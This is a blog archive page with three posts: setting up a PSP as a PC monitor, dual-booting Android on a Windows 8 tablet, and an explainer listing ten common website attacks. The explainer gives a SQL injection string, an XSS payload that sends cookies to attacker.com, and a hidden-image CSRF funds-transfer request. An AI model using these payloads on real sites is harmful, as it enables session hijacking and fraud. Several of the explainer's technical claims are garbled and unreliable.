Showing posts with label hack. Show all posts
Showing posts with label hack. Show all posts

Thursday, 30 January 2014

How to use PSP as a Monitor



This Tutorial will show you how to set up your PSP to be used as a Second Monitor on your PC. This can be helpful in many ways, for example watching a tutorial on the psp and doing it on your main monitor, or simply moving your media player out of the way.

Step 1: What you'll need

For this little project, you'll need:
- a PSP running a custom firmware above 3.71 [I used 4.01 M33-2]
- PSPDisp by Jochen Schleu
- A USB Cable

My PSP is a Phat PSP with 4.01 M33-2. I haven't tested this on a slim or any other firmware, so I'm not sure how well (or not) this will work on other setups.

From the PSPDisp Readme, you'll also need:
- a PC running Windows XP 32 bit (it will not work on 64 bit versions or Vista, it may run under Windows 2000 but this is untested)
- a suitably fast processor, for comparison:
-> 25 % CPU load on single core Pentium 4 3.06 Ghz
-> 40 % CPU load on single core AMD Athlon 64 3200+ (2.2 Ghz)
It should be fine on any modern PC.

Step 2: Setting up PSPDisp


Start by downloading and installing PSPDisp from the provided link.
Run the installer and go to the install directory afterwards (eg. C:\Program Files\PSPDisp\).

Go into the "bin" folder, and then to psp\PSP\GAME.
Copy the PSPDisp folder to the PSP\GAME folder on your PSP's memory stick.

Now, on your PSP, connect the USB Cable (if you haven't already done so), and run PSPDisp PSP application.

Now, you'll get a popup about new hardware, "PSP Type B". When it asks for the driver, tell it to search in "X:\%pspdisp install path%\bin\driver_usb", "X:\%pspdisp install path%" being wherever you installed PSPDisp.

Step 3: Installing Display Driver


Picture of Installing Display Driver

driverinstall5.jpgdriverinstall6.jpg

driverinstall7.jpg
driverinstall8.jpg

driverinstall9.jpg

Okay now you've got nearly all of PSPDisp's components up and running, all you need now is the display driver.

To start, bring up the add new hardware wizard. This wizard will either be in Printers and Other Devices (on Category View), or there'll simply be an icon for it (on Classic View).

Installing Driver Instructions:
1] On the first screen, choose "Yes i have already connected the hardware".
2] Next, scroll to the bottom and select "Add new hardware device".
3] Now select "Install what I manually select from a list".
4] In that, select "Show all devices"
5] Don't bother searching for it (it's not there). Just click "have disk".
6] Now, browse to X:\%PSPDisp Install Directory%\bin\driver_display.
That's it. Just follow the rest of the instructions the Wizard gives you! Ignore the warning about the driver not being digitally signed.

Step 4: Setting up the Display



Okay now that you have everything you need installed, go ahead and start PSPDisp itself. It's in the \bin\app folder.

It will show up in the system tray as a little picture of a PSP, and to control it just right click the icon. Start off by enabling the display driver. This adds another "Monitor" to the computer, with a resolution of 960x544px.

Now enable PSPDisp to output to your PSP. Hopefully you still have the app running on the PSP. If not start it now :P

Step 5: Finishing Up



Now you have to position the new desktop.
This can be done by right clicking your desktop and selecting properties -> settings, or you can launch it from PSPDisp's menu.

As you can see in the picture below, I have my new desktop centred under my monitor, but if you want to move your monitor on top or at the sides that'll work too (might be confusing at the sides though :P).

An excellent program for Multi-Display setups is "UltraMon". It also works a charm for this setup, so I recommend you try it out. It can extend the taskbar to the second desktop, change wallpapers of desktops respectively, and more. It's a trial version, though and costs $39.95 for a licence. There's probably (definately) a free alternative, if you find one, please comment :)

Step 6: Outtro

Well that's it. You now have a multi-desktop setup, with a PSP! :)
If you have anything you want to say, please comment, it would be much appreciated!

Tuesday, 28 January 2014

Basic Guide to install Android on Windows 8 Tablet

Why Install Android On A Windows Tablet?

There are certain things you should expect from a tablet operating system. You might even want to demand them.
acer iconia w700 tablet pc review   How to Install Android on Your Windows 8 Tablet

While a Windows PC – which a Windows 8 tablet with a PC CPU undoubtedly is – has a vast library of software available, there are a few useful things that can be experienced on Android. If you don’t currently own an Android tablet, these things (such as an improved keyboard experience) can be replicated by dual booting your Windows tablet with Android. It costs nothing, and thanks to the fast boot time on Windows 8, switching between the two operating systems is painless.
Note, however, that you’ll be restricted to apps that have support for x86 systems. These are growing in number, but don’t expect to be able to run all apps in the Play store.

What You’ll Need To Install Android On A Windows 8 Tablet

Preparation for this project is a little in-depth, especially if you’re new to Windows 8.
We’ll get the straightforward stuff out of the way first. You’ll need a USB flash drive with at least 512 MB of storage to hold the installation media; the stick should be formatted to FAT file system. Also, make sure you have a USB keyboard and a USB hub – I’d recommend a small, unpowered hub, since a powered hub may take some time to initialize – which means the keyboard won’t be connected by the time you need to press F12. So, unpowered USB hub it is.
Software is also required. Begin by downloading the Win 32 Disk Imager from Sourceforge – this is used to write the disk image to your USB stick.
Once this is downloaded, head to Intel’s Open Source Technology Center and select the Generic UEFI Installer image of the version of Android you wish to install. After download has completed, make sure you unzip the file.

Prepare The USB Stick

With Android downloaded, you’ll need to write it to the USB stick. Insert the device into your tablet or USB hub and unzip the Win 32 Disk Imager tool.
muo windows8tablet android disc image   How to Install Android on Your Windows 8 Tablet

Run Win32DiskImager.exe and browse to the unzipped Android installer, selecting Save to add it to the tool.
muo windows8tablet android disk imager   How to Install Android on Your Windows 8 Tablet

Next, ensure that the correct drive letter for your USB stick is selected under Device, and when you’re ready click Write to begin installation.
Following completion, Win 32 Disk Imager should inform you that writing the data has completed – you’re now ready to proceed.

Configuring Your Windows 8 Tablet For Android Installation

You can’t just install a second operating system on a device designed for Windows 8 without making a few adjustments to the system setup.
muo windows8tablet android uefi   How to Install Android on Your Windows 8 Tablet

First, you’ll need to ensure Secure Boot is disabled. Open Settings > Change PC Settings > Update and recovery > Recovery, and select Restart Now. From here use your arrow keys to select Troubleshoot then Advanced Options > UEFI Firmware Settings to open the BIOS.
muo windows8tablet android security   How to Install Android on Your Windows 8 Tablet

Here, find Security in the left-hand menu and set a Supervisor password. Once this has been added, open Boot, find the Secure Boot option and set it to Disabled.
muo windows8tablet android boot   How to Install Android on Your Windows 8 Tablet

With that done, hold down the Power to restart, then hold the Windows buttons as well until the screen comes back on. This enables a quick shortcut back into the BIOS screen where you should ensure UEFI Mode is selected.
Next, switch the tablet off, and connect the USB hub directly to the USB port (as opposed to any of the ports on any docking station you might have). With the keyboard and USB stick connected to the hub, boot up your tablet PC, pressing F12. In the boot menu, use arrow keys to select the USB device and follow the instructions to setup dual boot mode and allocate space for Android using your device’s volume keys.
Different versions of the Android installer have slightly different steps. For this installation, I selected:
Do you want to preserve Windows and dual boot? Y
Do you want to resize Windows to make more space? Y (This forces a repair cycle when you boot Windows 8.)
Enter new size in MiB for Windows: Enter for default option.
Install GummiBoot bootloader? Y
Enter boot menu timeout (0=no menu)(min=0, max=60, enter=5) 15
Once you have done this the installation will proceed. Upon completion you should see the message:
“Installation now configured. Press enter to continue”
If all goes according to plan, when you next come to boot up the tablet you should see a boot menu, where you can select between Android and Windows 8.

Running Android on a Windows 8 Tablet

Certainly in my case while preparing the installation for this tutorial, I discovered that things didn’t go quite as planned. Although the repair cycle took a while (and the Acer Iconia W700 doesn’t actually tell you it is doing a repair cycle), the computer eventually booted… into Windows 8.1. A couple of reboots later and there was still no sign of the boot menu.
muo windows8tablet android website   How to Install Android on Your Windows 8 Tablet

Inconveniently, the only way to open Android at present is to hold F12 when booting to display the boot menu, something that may be tricky in some scenarios. I also found that Bluetooth didn’t work in Windows, but once I’d booted Android, opened Settings and toggled Bluetooth,the subsequent reboot into Windows had Bluetooth back up and running.
When everything is installed, and Android booted up, it works pretty much as you might expect. Not all features are available as the x86 version is unofficial. As such you’ll need to install gApps to get things like Google Play and Gmail. This is true of any unofficial Android build and we’ll take a look at it in a future guide.

Sunday, 26 January 2014

The Top 10 Ways to Hack a Website

Ways Hackers Hack Your Site










Pop quiz: what does Microsoft, Twitter, Facebook, NBC, ZenDesk, and Drupal all have in common?
They’ve all been recently hacked.
Yes, hacking is a growing threat for every business both large and small.
Whether it’s stealing private data, taking control of your computer, or shutting down your website, hackers can seriously impact any business, at any time.
Hackers can attack in so many ways, but here’s the ten most popular ways they can threaten the security of your site, and your business:

10.  INJECTION ATTACKS

Injection Attacking occurs when there are flaws in your SQL Database, SQL libraries, or even the operating system itself. Employees open seemingly credible files with hidden commands, or “injections”, unknowingly.
In doing so, they’ve allowed hackers to gain unauthorized access to private data such as social security numbers, credit card number or other financial data.

TECHNICAL INJECTION ATTACK EXAMPLE:

An Injection Attack could have this command line:
String query = “SELECT * FROM accounts WHERE custID=’” + request.getParameter(“id”) +”‘”;
The hacker modifies the ‘id’ parameter in their browser to send: ‘ or ’1′=’1. This changes the meaning of the query to return all the records from the accounts database to the hacker, instead of only the intended customers.

9.  CROSS SITE SCRIPTING ATTACKS

Cross Site Scripting, also known as an XSS attack, occurs when an application, url “get request”, or file packet is sent to the web browser window and bypassing the validation process. Once an XSS script is triggered, it’s deceptive property makes users believe that the compromised page of a specific website is legitimate.
For example, if www.example.com/abcd.html has XSS script in it, the user might see a popup window asking for their credit card info and other sensitive info.

TECHNICAL CROSS SITE SCRIPTING EXAMPLE:

A more technical example:
(String) page += “<input name=’creditcard’ type=’TEXT’ value=’” + request.getParameter(“CC”) + “‘>”;
The attacker modifies the ‘CC’ parameter in their browser to:
‘><script>document.location=’http://www.attacker.com/cgi-bin/cookie.cgi?foo=’+document.cookie</script>’
This causes the user’s session ID to be sent to the attacker’s website, allowing the hacker to hijack the user’s current session.  That means the hacker has access to the website admin credentials and can take complete control over it.  In other words, hack it.

8. BROKEN AUTHENTICATION AND SESSION MANAGEMENT ATTACKS

If the user authentication system of your website is weak, hackers can take full advantage.
Authentication systems involve passwords, key management, session IDs, and cookies that can allow a hacker to access your account from any computer (as long as they are valid).
If a hacker exploits the authentication and session management system, they can assume the user’s identity.
Scary indeed.
Ask yourself these questions to find out if your website is vulnerable to a broken authentication and session management attack:
  • Are user credentials weak (e.g. stored using hashing or encryption)?
  • Can credentials be guessed or overwritten through weak account management functions (e.g. account creation, change password, recover password, weak session IDs)?
  • Are session IDs exposed in the URL (e.g. URL rewriting)?
  • Are session IDs vulnerable to session fixation attacks?
  • Do session IDs timeout and can users log out?
If you answered “yes” to any of these questions, your site could be vulnerable to a hacker.

7. CLICKJACKING ATTACKS

Clickjacking, also called a UI Redress Attack, is when a hacker uses multiple opaque layers to trick a user into clicking the top layer without them knowing.
Thus the attacker is “hijacking” clicks that are not meant for the actual page, but for a page where the attacker wants you to be.
For example, using a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password for their bank account, but are actually typing into an invisible frame controlled by the attacker.

CLICKJACKING EXAMPLE:

Here’s a live, but safe example of how clickjacking works:
And here’s a video that shows how we helped Twitter defend against a Clickjacking attack:

6. DNS CACHE POISONING

DNS Cache Poisoning involves old cache data that you might think you no longer have on your computer, but is actually “toxic”.
Also known as DNS Spoofing, hackers can identify vulnerabilities in a domain name system, which allows them to divert traffic from legit servers to a fake website and/or server.
This form of attack can spread and replicate itself from one DNS server to another DNS, “poisoning” everything in it’s path.
In fact, in 2010, a DNS poisoning attack completely compromised the Great Firewall of China (GFC) temporarily and censored certain content in the United States until the problem was fixed.

5. SOCIAL ENGINEERING ATTACKS

A social engineering attack is not technically a “hack”.
It happens when you divulge private information in good faith, such as a credit card number, through common online interactions such as email, chat, social media sites, or virtually any website.
The problem, of course, is that you’re not getting into what you think you’re getting into.
A classic example of a social engineering attack is the “Microsoft tech support” scam.
This is when someone from a call center pretends to be a MS tech support member who says that your computer is slow and/or infected, and can be easily fixed – at a cost, of course.
Here’s an article from Wired.com on how a security expert played along with so-called Microsoft tech support person.

4. SYMLINKING – AN INSIDER ATTACK

A symlink is basically a special file that “points to” a hard link on a mounted file system.  A symlinking attack occurs when a hacker positions the symlink in such a way that the user or application that access the endpoint thinks they’re accessing the right file when they’re really not.
If the endpoint file is an output, the consequence of the symlink attack is that it could be modified instead of the file at the intended location. Modifications to the endpoint file could include appending, overwriting, corrupting, or even changing permissions.
In different variations of a symlinking attack a hacker may be able to control the changes to a file, grant themselves advanced access, insert false information, expose sensitive information or corrupt or destroy vital system or application files.

3. CROSS SITE REQUEST FORGERY ATTACKS

A Cross Site Request Forgery Attack happens when a user is logged into a session (or account) and a hacker uses this opportunity to send them a forged HTTP request to collect their cookie information.
In most cases, the cookie remains valid as long as the user or the attacker stays logged into the account.  This is why websites ask you to log out of your account when you’re finished – it will expire the session immediately.
In other cases, once the user’s browser session is compromised, the hacker can generate requests to the application that will not be able to differentiate between a valid user and a hacker.

A CROSS SITE ATTACK EXAMPLES

Here’s an example:
<img src=”<span style=”color: red;”>http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#</span>” width=”0″ height=”0″ />
In this case the hacker creates a request that will transfer money from a user’s account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.

2. REMOTE CODE EXECUTION ATTACKS

A Remote Code Execution attack is a result of either server side or client side security weaknesses.
Vulnerable components may include libraries, remote directories on a server that haven’t been monitored, frameworks, and other software modules that run on the basis of authenticated user access. Applications that use these components are always under attack through things like scripts, malware, and small command lines that extract information.
The following vulnerable components were downloaded 22 million times in 2011:
By failing to provide an identity token, attackers could invoke any web service with full permission.

1. DDOS ATTACK – DISTRIBUTED DENIAL OF SERVICE ATTACK

DDoS, or Distributed Denial of Services, is where a server or a machine’s services are made unavailable to its users.
And when the system is offline, the hacker proceeds to either compromise the entire website or a specific function of a website to their own advantage.
It’s kind of like having your car stolen when you really need to get somewhere fast.
The usual agenda of a DDoS campaign is to temporarily interrupt or completely take down a successfully running system.
The most common example of a DDoS attack could be sending tons of URL requests to a website or a webpage in a very small amount of time.  This causes bottlenecking at the server side because the CPU just ran out of resources.
Denial-of-service attacks are considered violations of the Internet Architecture Board’s Internet proper use policy, and also violate the acceptable use policies of virtually all Internet service providers.